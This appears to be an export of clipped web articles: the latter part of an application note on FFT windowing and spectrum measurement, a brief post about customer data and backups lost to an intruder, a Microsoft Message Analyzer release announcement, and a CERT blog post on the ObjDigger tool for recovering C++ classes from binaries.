time record has a nonintegral number of cycles, this assumption is violated
and spectral leakage occurs. Another way of looking at this case is that the
nonintegral cycle frequency component of the signal does not correspond
exactly to one of the spectrum frequency lines.  
  
There are only two cases in which you can guarantee that an integral number of
cycles are always acquired. One case is if you are sampling synchronously with
respect to the signal you measure and can therefore deliberately take an
integral number of cycles.  
  
Another case is if you capture a transient signal that fits entirely into the
time record. In most cases, however, you measure an unknown signal that is
stationary; that is, the signal is present before, during, and after the
acquisition. In this case, you cannot guarantee that you are sampling an
integral number of cycles. Spectral leakage distorts the measurement in such a
way that energy from a given frequency component is spread over adjacent
frequency lines or bins. You can use windows to minimize the effects of
performing an FFT over a nonintegral number of cycles.  
  
Figure 7 shows the effects of three different windows -- none \(Uniform\),
Hanning \(also commonly known as Hann\), and Flat Top -- when an integral
number of cycles have been acquired, in this figure, 256 cycles in a
1,024-point record. Notice that the windows have a main lobe around the
frequency of interest. This main lobe is a frequency domain characteristic of
windows. The Uniform window has the narrowest lobe, and the Hann and Flat Top
windows introduce some spreading. The Flat Top window has a broader main lobe
than the others. For an integral number of cycles, all windows yield the same
peak amplitude reading and have excellent amplitude accuracy.  
  
Figure 7 also shows the values at frequency lines of 254 Hz through 258 Hz for
each window. The amplitude error at 256 Hz is 0 dB for each window. The graph
shows the spectrum values between 240 and 272 Hz. The actual values in the
resulting spectrum array for each window at 254 through 258 Hz are shown below
the graph. <img src='img/Temp2_8013.gif' width='10' height='11' />f is 1 Hz.  

<img src='img/Temp2_8038.gif' width='487' height='352' />  
**Figure 7.** Power Spectrum of 1 Vrms Signal at 256 Hz with Uniform, Hann,
and Flat Top Windows  

  
Figure 8 shows the leakage effects when you acquire 256.5 cycles. Notice that
at a nonintegral number of cycles, the Hann and Flat Top windows introduce
much less spectral leakage than the Uniform window. Also, the amplitude error
is better with the Hann and Flat Top windows. The Flat Top window demonstrates
very good amplitude accuracy but also has a wider spread and higher side lobes
than the Hann window.

<img src='img/Temp2_8032.gif' width='498' height='346' />  
**Figure 8.** Power Spectrum of 1 Vrms Signal at 256.5 Hz with Uniform, Hann,
and Flat Top Windows

  
In addition to causing amplitude accuracy errors, spectral leakage can obscure
adjacent frequency peaks. Figure 9 shows the spectrum for two close frequency
components when no window is used and when a Hann window is used.

<img src='img/Temp2_8006.gif' width='319' height='195' />  
**Figure 9.** Spectral Leakage Obscuring Adjacent Frequency Components

Refer to the _Spectral Leakage_ and _Windowing Signals_ topics in the _LabVIEW
Help_ \(linked below\) for the most updated information about spectral
leakage.

### Window Characteristics

  
To understand how a given window affects the frequency spectrum, you need to
understand more about the frequency characteristics of windows. The windowing
of the input data is equivalent to convolving the spectrum of the original
signal with the spectrum of the window as shown in Figure 10. Even if you use
no window, the signal is convolved with a rectangular-shaped window of uniform
height, by the nature of taking a snapshot in time of the input signal. This
convolution has a sine function characteristic spectrum. For this reason, no
window is often called the Uniform or Rectangular window because there is
still a windowing effect.  
  
An actual plot of a window shows that the frequency characteristic of a window
is a continuous spectrum with a main lobe and several side lobes. The main
lobe is centered at each frequency component of the time-domain signal, and
the side lobes approach zero at

<img src='img/Temp2_8049.gif' width='57' height='45' />

intervals on each side of the main lobe.

<img src='img/Temp2_8044.gif' width='385' height='271' />  
**Figure 10.** Frequency Characteristics of a Windowed Spectrum

  
An FFT produces a discrete frequency spectrum. The continuous, periodic
frequency spectrum is sampled by the FFT, just as the time-domain signal was
sampled by the ADC. What appears in each frequency line of the FFT is the
value of the continuous convolved spectrum at each FFT frequency line. This is
sometimes referred to as the picket-fence effect because the FFT result is
analogous to viewing the continuous windowed spectrum through a picket fence
with slits at intervals that corresponds to the frequency lines.  
  
If the frequency components of the original signal match a frequency line
exactly, as is the case when you acquire an integral number of cycles, you see
only the main lobe of the spectrum. Side lobes do not appear because the
spectrum of the window approaches zero at <img src='img/Temp2_8013.gif'
width='10' height='11' />f intervals on either side of the main lobe. Figure 7
illustrates this case.  
  
If a time record does not contain an integral number of cycles, the continuous
spectrum of the window is shifted from the main lobe center at a fraction of
<img src='img/Temp2_8013.gif' width='10' height='11' />f that corresponds to
the difference between the frequency component and the FFT line frequencies.
This shift causes the side lobes to appear in the spectrum. In addition, there
is some amplitude error at the frequency peak, as shown in Figure 8, because
the main lobe is sampled off center \(the spectrum is smeared\).  
  
Figure 11 shows the frequency spectrum characteristics of a window in more
detail. The side lobe characteristics of the window directly affect the extent
to which adjacent frequency components bias \(leak into\) adjacent frequency
bins. The side lobe response of a strong sinusoidal signal can overpower the
main lobe response of a nearby weak sinusoidal signal.

<img src='img/Temp2_8048.gif' width='428' height='253' />  
**Figure 11.** Frequency Response of a Window

  
Another important characteristic of window spectra is main lobe width. The
frequency resolution of the windowed signal is limited by the width of the
main lobe of the window spectrum. Therefore, the ability to distinguish two
closely spaced frequency components increases as the main lobe of the window
narrows. As the main lobe narrows and spectral resolution improves, the window
energy spreads into its side lobes, and spectral leakage worsens. In general,
then, there is a trade off between leakage suppression and spectral
resolution.

Refer to the _Windowing Signals_ and _Characteristics of Different Smoothing
Windows_ topics in the _LabVIEW Help_ \(linked below\) for the most updated
information about window characteristics.

### Defining Window Characteristics

To simplify choosing a window, you need to define various characteristics so
that you can make comparisons between windows. Figure 11 shows the spectrum of
a typical window. To characterize the main lobe shape, the -3 dB and -6 dB
main lobe width are defined to be the width of the main lobe \(in FFT bins or
frequency lines\) where the window response becomes 0.707 \(-3 dB\) and 0.5
\(-6 dB\), respectively, of the main lobe peak gain.  
  
To characterize the side lobes of the window, the maximum side lobe level and
side lobe roll-off rate are defined. The maximum side lobe level is the level
in decibels relative to the main lobe peak gain, of the maximum side lobe. The
side lobe roll-off rate is the asymptotic decay rate, in decibels per decade
of frequency, of the peaks of the side lobes. Table 1 lists the
characteristics of several window functions and their effects on spectral
leakage and resolution.

**Table 1.** Characteristics of Window Functions  

**Window** |  **-3 dB Main Lobe Width \(bins\)** |  **-6 dB Main Lobe Width \(bins\)** |  **Maximum Side Lobe Level \(dB\)** |  **Side Lobe Roll-Off Rate \(dB/decade\)**  
---|---|---|---|---  
Uniform \(None\)|  0.89 |  1.21 |  -13 |  20  
Hanning \(Hann\)|  1.44 |  2.00 |  -31 |  60  
Hamming|  1.30 |  1.82 |  -43 |  20  
Blackman-Harris|  1.62 |  2.27 |  -71 |  20  
Exact Blackman|  1.61 |  2.25 |  -68 |  20  
Blackman|  1.64 |  2.30 |  -58 |  60  
Flat Top|  3.72 |  4.58 |  -93 |  20  
Refer to the _Characteristics of Different Smoothing Windows_ topic in the
_LabVIEW Help_ \(linked below\) for the most updated information about window
characteristics.

### Strategies for Choosing Windows

  
Each window has its own characteristics, and different windows are used for
different applications. To choose a spectral window, you must guess the signal
frequency content. If the signal contains strong interfering frequency
components distant from the frequency of interest, choose a window with a high
side lobe roll-off rate. If there are strong interfering signals near the
frequency of interest, choose a window with a low maximum side lobe level.  
  
If the frequency of interest contains two or more signals very near to each
other, spectral resolution is important. In this case, it is best to choose a
window with a very narrow main lobe. If the amplitude accuracy of a single
frequency component is more important than the exact location of the component
in a given frequency bin, choose a window with a wide main lobe. If the signal
spectrum is rather flat or broadband in frequency content, use the Uniform
window \(no window\). In general, the Hann window is satisfactory in 95% of
cases. It has good frequency resolution and reduced spectral leakage.  
  
The Flat Top window has good amplitude accuracy, but because it has a wide
main lobe, it has poor frequency resolution and more spectral leakage. The
Flat Top window has a lower maximum side lobe level than the Hann window, but
the Hann window has a faster roll off-rate. If you do not know the nature of
the signal but you want to apply a window, start with the Hann window. Figures
7 and 8 contrast the characteristics of the Uniform, Hann, and Flat Top
windows.  
  
If you are analyzing transient signals such as impact and response signals, it
is better not to use the spectral windows because these windows attenuate
important information at the beginning of the sample block. Instead, use the
Force and Exponential windows. A Force window is useful in analyzing shock
stimuli because it removes stray signals at the end of the signal. The
Exponential window is useful for analyzing transient response signals because
it damps the end of the signal, ensuring that the signal fully decays by the
end of the sample block.  
  
Selecting a window function is not a simple task. In fact, there is no
universal approach for doing so. However, Table 2 can help you in your initial
choice. Always compare the performance of different window functions to find
the best one for the application. Refer to the references at the end of this
application note for more information about windows.

**  
Table 2.** Initial Window Choice Based on Signal Content  

  

**Signal Content** |  **Window**  
---|---  
Sine wave or combination of sine waves| Hann  
Sine wave \(amplitude accuracy is important\)| Flat Top  
Narrowband random signal \(vibration data\)| Hann  
Broadband random \(white noise\)| Uniform  
Closely spaced sine waves| Uniform, Hamming  
Excitation signals \(Hammer blow\)| Force  
Response signals| Exponential  
Unknown content| Hann  
  
Windows are useful in reducing spectral leakage when using the FFT for
spectral analysis. However, because windows are multiplied with the acquired
time-domain signal, they introduce distortion effects of their own. The
windows change the overall amplitude of the signal. The windows used to
produce the plots in Figures 7 and 8 were scaled by dividing the windowed
array by the coherent gain of the window. As a result, each window yields the
same spectrum amplitude result within its accuracy constraints.  
  
You can think of an FFT as a set of parallel filters, each <img
src='img/Temp2_8013.gif' width='10' height='11' />f in bandwidth. Because of
the spreading effect of a window, each window increases the effective
bandwidth of an FFT bin by an amount known as the equivalent noise-power
bandwidth of the window. The power of a given frequency peak is computed by
adding the adjacent frequency bins around a peak and is inflated by the
bandwidth of the window. You must take this inflation into account when you
perform computations based on the spectrum. Refer to the Computations on the
Spectrum section for sample computations.  
  
Table 3 lists the scaling factor \(or coherent gain\), the noise power
bandwidth, and the worst-case peak amplitude accuracy caused by off-center
components for several popular windows.

**  
Table 3.** Correction Factors and Worst-Case Amplitude Errors for Windows  
  

**Window** |  **Scaling Factor**  
**\(Coherent Gain\)** |  **Noise Power**  
**Bandwidth** |  **Worst-Case Amplitude**  
**Error \(dB\)**  
---|---|---|---  
Uniform \(none\)|  1.00 |  1.00 |  3.92  
Hann|  0.50 |  1.50 |  1.42  
Hamming|  0.54 |  1.36 |  1.75  
Blackman-Harris|  0.42 |  1.71 |  1.13  
Exact Blackman|  0.43 |  1.69 |  1.15  
Blackman|  0.42 |  1.73 |  1.10  
Flat Top|  0.22 |  3.77 |  < 0.01  
Refer to the _Characteristics of Different Smoothing Windows_ topic in the
_LabVIEW Help_ \(linked below\) for the most updated information about window
characteristics.

## Computations on the Spectrum  

  
When you have the amplitude or power spectrum, you can compute several useful
characteristics of the input signal, such as power and frequency, noise level,
and power spectral density.

  

### Estimating Power and Frequency

  
The preceding windowing examples demonstrate that if you have a frequency
component in between two frequency lines, it appears as energy spread among
adjacent frequency lines with reduced amplitude. The actual peak is between
the two frequency lines. In Figure 8, the amplitude error at 256.5 Hz is due
to the fact that the window is sampled at ±0.5 Hz around the center of its
main lobe rather than at the center where the amplitude error would be 0. This
is the picket-fence effect explained in the Window Characteristics section of
this application note.  
  
You can estimate the actual frequency of a discrete frequency component to a
greater resolution than the <img src='img/Temp2_8013.gif' width='10'
height='11' />f given by the FFT by performing a weighted average of the
frequencies around a detected peak in the power spectrum.

<img src='img/Temp2_8027.gif' width='262' height='132' />

where _j_ is the array index of the apparent peak of the frequency of interest
and

<img src='img/Temp2_8042.gif' width='54' height='46' />

The span _j_ ±3 is reasonable because it represents a spread wider than the
main lobes of the windows listed in Table 3.  
  
Similarly, you can estimate the power in Vrms2 of a given peak discrete
frequency component by summing the power in the bins around the peak
\(computing the area under the peak\)

<img src='img/Temp2_8015.gif' width='286' height='84' />

Notice that this method is valid only for a spectrum made up of discrete
frequency components. It is not valid for a continuous spectrum. Also, if two
or more frequency peaks are within six lines of each other, they contribute to
inflating the estimated powers and skewing the actual frequencies. You can
reduce this effect by decreasing the number of lines spanned by the preceding
computations. If two peaks are that close, they are probably already
interfering with one another because of spectral leakage.  
  
Similarly, if you want the total power in a given frequency range, sum the
power in each bin included in the frequency range and divide by the noise
power bandwidth of the windows.

Refer to the _Computations on the Spectrum_ topic in the _LabVIEW Help_
\(linked below\) for the most updated information about estimating power and
frequency.

### Computing Noise Level and Power Spectral Density

The measurement of noise levels depends on the bandwidth of the measurement.
When looking at the noise floor of a power spectrum, you are looking at the
narrowband noise level in each FFT bin. Thus, the noise floor of a given power
spectrum depends on the <img src='img/Temp2_8013.gif' width='10' height='11'
/>f of the spectrum, which is in turn controlled by the sampling rate and
number of points. In other words, the noise level at each frequency line reads
as if it were measured through a <img src='img/Temp2_8013.gif' width='10'
height='11' />f Hz filter centered at that frequency line. Therefore, for a
given sampling rate, doubling the number of points acquired reduces the noise
power that appears in each bin by 3 dB. Discrete frequency components
theoretically have zero bandwidth and therefore do not scale with the number
of points or frequency range of the FFT.  
  
To compute the SNR, compare the peak power in the frequencies of interest to
the broadband noise level. Compute the broadband noise level in Vrms2 by
summing all the power spectrum bins, excluding any peaks and the DC component,
and dividing the sum by the equivalent noise bandwidth of the window. For
example, in Figure 6 the noise floor appears to be more than 120 dB below full
scale, even though the PCI-4450 Family dynamic range is only 93 dB. If you
were to sum all the bins, excluding DC, and any harmonic or other peak
components and divide by the noise power bandwidth of the window you used, the
noise power level compared to full scale would be around -93 dB from full
scale.  
  
Because of noise-level scaling with <img src='img/Temp2_8013.gif' width='10'
height='11' />f, spectra for noise measurement are often displayed in a
normalized format called power or amplitude spectral density. This normalizes
the power or amplitude spectrum to the spectrum that would be measured by a 1
Hz-wide square filter, a convention for noise-level measurements. The level at
each frequency line then reads as if it were measured through a 1 Hz filter
centered at that frequency line.  
  
Power spectral density is computed as

<img src='img/Temp2_8026.gif' width='349' height='47' />

The units are then in

<img src='img/Temp2_8025.gif' width='73' height='42' />

Amplitude spectral density is computed as:

<img src='img/Temp2_8012.gif' width='385' height='47' />

The units are then in

<img src='img/Temp2_8043.gif' width='83' height='42' />

The spectral density format is appropriate for random or noise signals but
inappropriate for discrete frequency components because the latter
theoretically have zero bandwidth.

Refer to the _Computations on the Spectrum_ topic in the _LabVIEW Help_
\(linked below\) for the most updated information about computing noise levels
and the power spectral density.

## FFT-Based Network Measurement  

  
When you understand how to handle computations with the FFT and power spectra,
and you understand the influence of windows on the spectrum, you can compute
several FFT-based functions that are extremely useful for network analysis.
These include the frequency response, impulse response, and coherence
functions. Refer to the Frequency Response and Network Analysis section of
this application note for more information about these functions. Refer to the
Signal Sources for Frequency Response Measurement section for more information
about Chirp signals and broadband noise signals.

### Cross Power Spectrum

  
One additional building block is the cross power spectrum. The cross power
spectrum is not typically used as a direct measurement but is an important
building block for other measurements.  
  
The two-sided cross power spectrum of two time-domain signals A and B is
computed as

<img src='img/Temp2_8031.gif' width='273' height='46' />

The cross power spectrum is in two-sided complex form. To convert to magnitude
and phase, use the Rectangular-To-Polar conversion function. To convert to a
single-sided form, use the same method described in the Converting from a Two-
Sided Power Spectrum to a Single-Sided Power Spectrum section of this
application note. The units of the single-sided form are in volts \(or other
quantity\) rms squared.  
  
The power spectrum is equivalent to the cross power spectrum when signals A
and B are the same signal. Therefore, the power spectrum is often referred to
as the auto power spectrum or the auto spectrum. The single-sided cross power
spectrum yields the product of the rms amplitudes of the two signals, A and B,
and the phase difference between the two signals.  
  
When you know how to use these basic blocks, you can compute other useful
functions, such as the Frequency Response function.

Refer to the _Cross Power Spectrum_ conceptual topic in the _LabVIEW Help_
\(linked below\) for the most updated information about the cross power
spectrum.

### Frequency Response and Network Analysis

Three useful functions for characterizing the frequency response of a network
are the frequency response, impulse response, and coherence functions.  
  
The frequency response of a network is measured by applying a stimulus to the
network as shown in Figure 12 and computing the frequency response from the
stimulus and response signals.

<img src='img/Temp2_8050.gif' width='415' height='116' />  
**Figure 12.** Configuration for Network Analysis

Refer to the _Frequency Response and Network Analysis_ topic in the _LabVIEW
Help_ \(linked below\) for the most updated information about the frequency
response of a network.

### Frequency Response Function

  
The frequency response function \(FRF\) gives the gain and phase versus
frequency of a network and is typically computed as  
  

<img src='img/Temp2_8037.gif' width='320' height='47' />

where A is the stimulus signal and B is the response signal.  
  
The frequency response function is in two-sided complex form. To convert to
the frequency response gain \(magnitude\) and the frequency response phase,
use the Rectangular-To-Polar conversion function. To convert to single-sided
form, simply discard the second half of the array.  
  
You may want to take several frequency response function readings and then
average them. To do so, average the cross power spectrum, S _AB_\(f\), by
summing it in the complex form then dividing by the number of averages, before
converting it to magnitude and phase, and so forth. The power spectrum, S
_AA_\(f\), is already in real form and is averaged normally.

Refer to the _Frequency Response and Network Analysis_ topic in the _LabVIEW
Help_ \(linked below\) for the most updated information about the frequency
response function.

### Impulse Response Function

The impulse response function of a network is the time-domain representation
of the frequency response function of the network. It is the output time-
domain signal generated when an impulse is applied to the input at time t = 0.  
  
To compute the impulse response of the network, take the inverse FFT of the
two-sided complex frequency response function as described in the _Frequency
Response Function_ section of this application note.

  

<img src='img/Temp2_8045.gif' width='423' height='51' />

The result is a time-domain function. To average multiple readings, take the
inverse FFT of the averaged frequency response function.

Refer to the _Frequency Response and Network Analysis_ topic in the _LabVIEW
Help_ \(linked below\) for the most updated information about the impulse
response function.  

### Coherence Function

The coherence function is often used in conjunction with the frequency
response function as an indication of the quality of the frequency response
function measurement and indicates how much of the response energy is
correlated to the stimulus energy. If there is another signal present in the
response, either from excessive noise or from another signal, the quality of
the network response measurement is poor. You can use the coherence function
to identify both excessive noise and causality, that is, identify which of the
multiple signal sources are contributing to the response signal. The coherence
function is computed as

<img src='img/Temp2_8008.gif' width='330' height='50' />

The result is a value between zero and one versus frequency. A zero for a
given frequency line indicates no correlation between the response and the
stimulus signal. A one for a given frequency line indicates that the response
energy is 100 percent due to the stimulus signal; in other words, there is no
interference at that frequency.  
  
For a valid result, the coherence function requires an average of two or more
readings of the stimulus and response signals. For only one reading, it
registers unity at all frequencies. To average the cross power spectrum, S
_AB_\(f\), average it in the complex form then convert to magnitude and phase
as described in the _Frequency Response Function_ section of this application
note. The auto power spectra, S _AA_\(f\) and S _BB_\(f\), are already in real
form, and you average them normally.

Refer to the _Frequency Response and Network Analysis_ topic in the _LabVIEW
Help_ \(linked below\) for the most updated information about the coherence
function.

### Signal Sources for Frequency Response Measurements

To achieve a good frequency response measurement, significant stimulus energy
must be present in the frequency range of interest. Two common signals used
are the chirp signal and a broadband noise signal. The chirp signal is a
sinusoid swept from a start frequency to a stop frequency, thus generating
energy across a given frequency range. White and pseudorandom noise have flat
broadband frequency spectra; that is, energy is present at all frequencies.  
  
It is best not to use windows when analyzing frequency response signals. If
you generate a chirp stimulus signal at the same rate you acquire the
response, you can match the acquisition frame size to match the length of the
chirp. No window is generally the best choice for a broadband signal source.
Because some stimulus signals are not constant in frequency across the time
record, applying a window may obscure important portions of the transient
response.

## Conclusion

There are many issues to consider when analyzing and measuring signals from
plug-in DAQ devices. Unfortunately, it is easy to make incorrect spectral
measurements. Understanding the basic computations involved in FFT-based
measurement, knowing how to prevent antialiasing, properly scaling and
converting to different units, choosing and using windows correctly, and
learning how to use FFT-based functions for network measurement are all
critical to the success of analysis and measurement tasks. Being equipped with
this knowledge and using the tools discussed in this application note can
bring you more success with your individual application.

## Related Links

LabVIEW Help: Power Spectrum  
LabVIEW Help: Computing the Amplitude and Phase Spectrums  
LabVIEW Help: Converting to Logarithmic Units  
LabVIEW Help: Spectral Leakage  
LabVIEW Help: Windowing Signals  
LabVIEW Help: Characteristics of Different Smoothing Windows  
LabVIEW Help: Computations on the Spectrum  
LabVIEW Help: Cross Power Spectrum  
LabVIEW Help: Frequency Response and Network Analysis

## References  

  
Harris, Fredric J. "On the Use of Windows for Harmonic Analysis with the
Discrete Fourier Transform" in _Proceedings of the IEEE_ Vol. 66, No. 1,
January 1978.  
  
Horowitz, Paul, and Hill, Winfield, _The Art of Electronics_ , 2nd Edition,
Cambridge University Press, 1989.  
  
Nuttall, Albert H. "Some Windows with Very Good Sidelobe Behavior," _IEEE
Transactions on Acoustics, Speech, and Signal Processing_ Vol. 29, No. 1,
February 1981.  
  
Randall, R.B., and Tech, B. _Frequency Analysis_ , 3rd Edition, Bruël and
Kjær, September 1979.  
  
_The Fundamentals of Signal Analysis_ , Application Note 243, Hewlett-Packard,
1985.

# data-loss of all customers, just cloud backup ;\)

**Created:**| _9/13/2011 10:09:41 PM_  
---|---  
**Updated:**| _9/14/2011 9:08:52 AM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
Tried to login to the billing system to check all tickets waiting, but nothing
seems to work. It seems something happened to the data. No problem, I got a
backup\! Looking to take the last day backup but on the offsite server where
it was located, there was no data on it at all\! I decided to check all logs,
and it seems that someone has been able to access both server and have some
fun. At the moment, I do not have any data on my customers. What’s paid?
What’s unpaid? What remaining time a customer has to be refund? Nothing but
dust.

# Message Analyzer has Released – A New Beginning - MessageAnalyzer - Site
Home - TechNet Blogs

**Created:**| _9/26/2013 10:07:41 AM_  
---|---  
**Updated:**| _9/26/2013 10:07:41 AM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis windows environment tracing_  
  

# **M** essage Analyzer has Released – A New Beginning****

25 Sep 2013 5:45 AM

We are excited to announce the official release of Message Analyzer to the
Microsoft Download Center **.** Sci-Fi movie references aside, this really is
a new beginning for troubleshooting and analysis**.** Message Analyzer brings
a set of new ideas, new techniques, and new paradigms in order to make
analysis of protocols, log files, and system events a cohesive activity which
allows correlation across all those types of traces**.**

### New Ways to Capture****

As I detailed in the Network Capture is Dead blog , we have updated the way we
capture messages**.** By leveraging ETW and providing inspection points to
capture at the Firewall and HTTP Proxy layers, you can capture loopback and
encrypted traffic that was not possible in the past**.** Message Analyzer also
enables you to capture messages from multiple places in the system at the same
time, collect them in one trace file and package up all the information so
that it can be analyzed elsewhere**.**

### New Ways to Analyze****

There are also new ways to analyze and organize the trace data**.** Automatic
diagnosis and coalescing of fragments and messages provide a concise and
succinct view allowing you to focus on the problems and not the noise**.** New
visualizations let you see a problem at a high level, and then dig in by
viewing selected data in detail in the Analysis Grid**.** New tools like
Sequence Matching , Viewpoints , and Grouping  provide alternative ways to
slice, dice and find the problems buried in heaps of noisy traces**.**
Improved filtering syntax  continues on where Network Monitor left and
provides a richer way to specify fields and properties**.**

### New Ways to Share****

The world is full of many specialized areas each with their own silos of
knowledge**.** Subject matter experts need a way to share this expertise so
that everybody can benefit and learn from the masters**.** The sharing
infrastructure is the starting place for this new innovation which will
continue to evolve**.** Designed to allow users to manage and share various
Message Analyzer assets like filters, views, trace scenarios and more, expert
knowledge will become easier to discover and use**.**

### Analyze Now****

The new name, Message Analyzer, reflects the broader initiative to analyze
more than just network packet captures**.** Now your text files, event logs,
and system event traces can be included altogether**.** When you analyze the
merged traces the combined data helps provide an extra level of inspection and
insight**.** And while this is the end of one chapter, it is only the start of
a story that we will continue to share at a rapid pace**.** So please download
Message Analyzer take it for a spin and if you have feedback of problems,
please report them on our Microsoft Message Analyzer Forum **.**

Enjoy\!

****

# The Pharos Framework: Binary Static Analysis of Object Oriented Code

**Created:**| _8/21/2015 10:12:34 AM_  
---|---  
**Updated:**| _8/21/2015 10:12:34 AM_  
**Author:**| __  
**Tags:**| __  
  

## __The Pharos Framework: Binary Static Analysis of Object Oriented Code

Posted on

August 18, 2015

by Jeffrey Gennari in  Malware

Object-oriented programs present considerable challenges to reverse engineers.
For example, C++ classes are high-level structures that lead to complex
arrangements of assembly instructions when compiled. These complexities are
exacerbated for malware analysts because malware rarely has source code
available; thus, analysts must grapple with sophisticated data structures
exclusively at the machine code level. As more and more object-oriented
malware is written in C++, analysts are increasingly faced with the challenges
of reverse engineering C++ data structures. This blog post is the first in a
series that discusses tools developed by the Software Engineering Institute's
CERT Division to support reverse engineering and malware analysis tasks on
object-oriented C++ programs.

Identifying C++ classes in assembly code requires understanding low-level
implementation details, such as specialized calling conventions that are not
directly related to program functionality. To help analyze object-oriented
software \(including malware\) we have been developing a suite of binary
static program analysis tools. Our framework, _Pharos_ , is built on top of
Lawrence Livermore National Laboratory's \(LLNL\) ROSE compiler
infrastructure. The Pharos tool suite includes many extensions to the binary
analysis features of ROSE that we've jointly developed with LLNL. The Pharos
tools use static analysis techniques, such as control flow analysis and
dataflow analysis, to reason about the behavior of, and data structures in
binary files.

One of our Pharos tools, ObjDigger, supports analysis and recovery of object-
oriented data structures from 32-bit Microsoft Windows binary files.
Specifically, ObjDigger can help recover C++ classes/structures including
class members, methods, and virtual functions. ObjDigger can also help reason
about class relationships, such as composition and inheritance. This posting
describes the ObjDigger tool, how it works, and how to use it to help reverse
engineer object-oriented C++ code.

For example, consider the simple C++ program below in Code Listing 1 that
instantiates an object and then calls a virtual function. This relatively
straightforward code results in many implicit operations when compiled.

<img src='img/Temp2_8240.png' width='318' height='513' />

**Code Listing 1: Sample C++ Program**

The program in Code Listing 1 was compiled using a 32-bit version of Microsoft
Visual C++ 2010 with no command-line options except for the /FAsc option to
generate x86 assembly code. The disassembly of the main function is shown
below in Code Listing 2. First, an AddOp object is instantiated and assigned
to a MathOp pointer, although the types are not immediately clear from the
listing. Instantiating the AddOp object requires multiple steps that are not
visible in source code. First, object memory is allocated from addresses
0x00401006 through 0x00401017. Second, the AddOp object is initialized from
addresses 0x00401019 through the call to the constructor at address
0x00401020.

<img src='img/Temp2_8237.png' width='847' height='392' />**Code Listing 2:
Section of main function that includes object instantiation**

Note that the allocated memory for the AddOp object is passed to the AddOp
constructor via the ECX register. This code is consistent with the
\_\_thiscall calling convention that is used to implement class mechanics,
such as method invocation and member access in assembly code. Passing function
arguments through registers, however, can be hard to detect. The body of the
AddOp constructor, which is shown below in Code Listing 3, demonstrates
additional complexities.

<img src='img/Temp2_8232.png' width='859' height='661' />**Code Listing 3:
AddOp Constructor Assembly Listing**

At the source-code level, the AddOp constructor simply initializes two class
members \(x and y\). At the assembly-code level, however, more substantial
setup is necessary to account for implicit operations needed by C++ objects.
First, because AddOp extends MathOp, a MathOp object is automatically
constructed at address 0x0040105A. Moreover, because both MathOp and AddOp
contain virtual functions, a virtual function pointer is installed at address
0x00401062. Virtual function pointers are the mechanism that Microsoft Visual
C++ uses to invoke the correct function in a polymorphic class arrangement.
The virtual function pointer points to a table of pointers to actual virtual
function implementations. Consider Code Listing 4 below, which shows the
invocation of the virtual function Execute.

<img src='img/Temp2_8238.png' width='892' height='193' />

**Code Listing 4: Virtual Function Call Invocation**

Invoking the Execute function requires dereferencing the virtual function
pointer installed during construction and then fetching the appropriate
virtual function implementation. To reason about program control flow
correctly the virtual function invocations must be resolved. Determining the
target of virtual functions is hard and often forces reverse engineers to
completely recover and reason about a program's class structures. In large C++
programs that contain many interrelated classes, this analysis can be a
tedious and time-consuming task.

ObjDigger automates recovery of C++ data structures. It identifies potential
class structures and methods and resolves virtual function calls where it can.
Compiling the program in Code listing 1 and running the executable through
ObjDigger with the --report option produces the output shown in Table 1.

##### Table 1: ObjDigger Output

<img src='img/Temp2_8231.png' width='931' height='591' />

Note that the names used in the source code are removed during compilation,
but the tool is able to identify class data structures. For example, ObjDigger
identifies AddOp as a data structure with the following constructor:

<img src='img/Temp2_8233.png' width='341' height='69' />

A virtual function pointer and virtual function table<img
src='img/Temp2_8230.png' width='884' height='164' />

and two members:

<img src='img/Temp2_8235.png' width='816' height='149' />

ObjDigger is able to reason about the relationship between AddOp and MathOp by
identifying that the MathOp constructor \(address 0x004010B0\) is called from
within the AddOp constructor \(address 0x00401050\). Calling the MathOp
constructor from within the AddOp constructor indicates a relationship between
MathOp and AddOp. ObjDigger identifies the relationship as inheritance \(hence
the parent class designation\). In this case, ObjDigger correctly identifies
the MathOp as the parent of AddOp because the MathOp constructor is called
before the AddOp virtual function pointer is installed at address 0x00401062.
This heuristic is one way to distinguish class inheritance from class
composition.

**Using ObjDigger Output**

ObjDigger includes options to generate Javascript Object Notation\(JSON\)
specifications for recovered object schemas that are suitable for automated
processing with reverse engineering tools. To better support reverse engineers
we've included an IDA Pro plugin named PyObjdigger that applies ObjDigger
results to an IDA database. Table 2 shows IDA Pro screenshots of the
constructor for AddOp before and after adding ObjDigger-generated class
information. Again, class names are typically not preserved during
compilation, so PyObjdigger uses generic names, such as Cls0, Cls1, etc. In
the future we plan to parse run-time type information \(RTTI\) where possible
to leverage more realistic class names.

##### Table 2: AddOp Constructor Disassembly before and after Running the
PyObjdigger Plugin

**Before

**

<img src='img/Temp2_8239.png' width='553' height='434' alt='bedore' />

**After

**

<img src='img/Temp2_8234.png' width='633' height='394' alt='After' />

One of the more useful PyObjdigger features is its ability to annotate virtual
function calls with clickable labels. For example, Table 3 shows an IDA Pro
screenshot containing disassembly for the virtual function call
add->Execute\(\). In the disassembly listing the clickable comment \(4010e0\)
that was inserted by PyObjdigger is the target for this virtual function call.

##### Table 3: Annotated Virtual Function Call

<img src='img/Temp2_8236.png' width='1102' height='315' />

**ObjDigger Under the Hood**

****ObjDigger usesdefinition-use analysis to identify object pointers, known
as _this pointers_. The analysis process works as follows:

  1. First ObjDigger uses ROSE to gather a list of functions in the executable file.
  2. ObjDigger analyzes each function to determine if it is a class method based on whether it follows the \_\_thiscall calling convention. In \_\_thiscall functions the _this pointer_ for an object is passed in as an argument in the ECX register.
  3. ObjDigger detects the this pointer passed in to the function by identifying reads of the ECX register without initialization.
  4. Once the set of \_\__thiscall_ functions is identified, further analysis of this pointer usage in the body of each function is performed to identify possible class members and methods.

The Pharos binary analysis infrastructure provides information on which
program instructions influence \(i.e., read and write\) computations on
subsequent instructions. This abstract interpretation of instructions makes it
possible to track values through an assembly listing. Reasoning about abstract
values as they are accessed through a program enables identification of
object-oriented constructs. For example, a call to a virtual function requires
two pointer dereferences:

  * one to access the virtual function table
  * one to access the appropriate virtual function

In Code Listing 4 dereferencing the virtual function table pointer and
fetching the correct virtual function corresponds to the pointer accesses at
addresses 0x0040103A and 0x0040103F, respectively. For each indirect call
found in the binary \(i.e., a call on a register or memory address\),
ObjDigger searches for two previous dereferences connected through common
pointers \(i.e., a pointer that refers to another pointer that refers to a
known class virtual function\). That is, if the call instruction is preceded
by two pointer dereferences and these pointers trace back to a known class
structure with a virtual function table that contains a valid class method,
then this arrangement is labeled as a virtual function call and bound to the
